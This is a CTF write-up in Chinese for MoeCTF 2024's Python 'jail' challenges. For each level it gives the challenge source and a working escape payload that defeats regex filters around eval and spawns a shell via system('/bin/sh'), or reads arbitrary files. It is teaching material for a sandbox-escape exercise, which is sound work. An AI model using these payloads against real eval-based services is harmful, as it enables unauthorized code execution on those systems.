MoeCTF 2024 Jails Writeups
Wed Oct 09 2024
# Jails Writeups
感觉这次的 jails 出的不是很有水平,不如去年空白佬出的那套有意义,先给大家道个歉。
## reader
任意文件读,题目源码如下
import re
fd = open("/tmp/therealflag", "r")
the_real_flag = fd.read().strip() # u can't catch me, i am ________
os.system("rm /tmp/therealflag")
def chall(input, print):
filename = input("🧐 What file you want to view? ")
if re.match(r".*[flag]{3,}.*", filename):
print("😡 Access denied, try again")
else:
print(f"👍 Here is your file: {filename}", f"{open(filename, 'r').read()}")
## level 1
简单的关键词绕过,题目源码如下
import re
def my_safe_eval(code):
if re.match(r"os|system|[\\\+]", code):
return "Hacked By Rx"
return eval(code)
def chall(input, print):
code: str = input("Give me your payload:")
if len(code) > 100:
print("Too long code, Sry!")
return
value = my_safe_eval(code)
print(value)
只 ban 了 os
和 system
\
+
,但是可以用 python 的特性绕过,用我们小学二年级学过的 python 知识,可以知道 python 的字符串拼接可以不用写加号,直接将两个字符串字面量放在一起就行,如下:
assert "py""thon" == "python"
所以直接 getattr(__import__("o""s"),"sys""tem")("/bin/sh")
即可获得 shell
## level 2
还是简单的绕过,题目源码如下
import re
def chall(input,print):
code = input("Give me your code: ")
if re.search(r'["\'0-8bd]|[^\x00-\xff]', code):
print("Nope")
return
eval(code)
坏了,我在写 wp 的时候已经忘了我当时想考什么了
看 hint 可以知道这题 ban 了所有非 ASCII 字符和 "
'
b
d
以及 0
- 8
的数字
因为没有引号,所以没法输入字符串...吗?其实还是可以的,我们可以利用 chr
来获取单个字符,用 str().join(chr(i) for i in [...])
来获取字符串(x
我们先导入 os
模块,os
=> [111, 115]
=> [999//9, 999//9 + len(str(9999))]
,因此可以用 __import__(str().join(chr(i) for i in [999//9, 999//9 + len(str(9999))])).system
来拿到 system
函数
同理 sh
=> [105, 104]
=> [999 // 9 + len(str(9999)), 999 // 9 - len(str(9999999))]
,最终得到 payload 如下:
__import__(str().join(chr(i) for i in [999 // 9, 999 // 9 + len(str(9999))])).system(str().join(chr(i) for i in [999 // 9 + len(str(9999)), 999 // 9 - len(str(9999999))]))
这题出的实在没水平,红豆泥私密马赛
## level 2.5
在 level 2 的基础上额外 ban 了一些字符,题目源码如下
import re
def chall(input, print):
code = input("Give me your code: ")
if re.search(r'["\'0-8bdhosxy_]|[^\x00-\xff]', code):
print("Nope")
return
if len(code) > 15:
print("Too long")
return
eval(code)
从 hint 拿到屏蔽的字符,注意到注意力惊人,e
v
a
l
i
n
p
u
t
这几个字符没有被屏蔽,所以直接构造 payload eval(input())
就拿到了一个可用的 eval
,再 __import__("os").system("/bin/sh")
即可获得 shell~~(其实这个解对 level 2 也是可以直接用的,甚至可能更好想)~~
## level 3
用 unicode 绕过,题目源码如下
import re
def chall(input, print):
while True:
code = input("Give me your code: ")
if re.search(r"[A-z0-9]", code):
print("Nope")
return
eval(code)
可以看看这个 PEP 3131
该PEP提议在Python标识符中引入对非ASCII字符的支持,具体修改包括所有标识符在解析时将被转换为NFKC标准化形式,并基于此进行比较。因此虽然正则表达式屏蔽了所有 ASCII 字母,但是可以用对应的 Unicode 字符进行绕过。
一个简单的转换脚本如下:
def unicode_bypass(i):
return "".join(chr(ord(x) + 119789) if ord("a") <= ord(x) <= ord("z") else x for x in i)
unicode_bypass("eval(input())")
即可得到一个可用的 eval
,直接 __import__("os").system("/bin/sh")
即可获得 shell
## level 4
简单的原型链绕过,题目源码如下
def chall(input, print):
print("""Hint: eval(code, {"__builtins__": {"eval": lambda *x: print("sry, no eval for u")},},{},)""")
code = input("Give me your code: ")
eval(
code,
{
"__builtins__": {"eval": lambda *x: print("sry, no eval for u")},
},
{},
)
预期的解法是利用 eval
,因为这个 eval
是被覆盖了的函数,所以不是 builtin_function_or_method
,而是 function
,因此可以直接从这个 eval
中拿到函数定义时的 __globals__
,并从这个 __globals__
中还原 __builtins__
,完整 payload 如下
eval.__globals__["__builtins__"].__spec__.loader().load_module("os").system("/bin/sh")
当然本题也存在通解
[
x.__init__.__globals__
for x in "".__class__.__base__.__subclasses__()
if x.__name__ == "_wrap_close"
][0]["system"]("/bin/sh")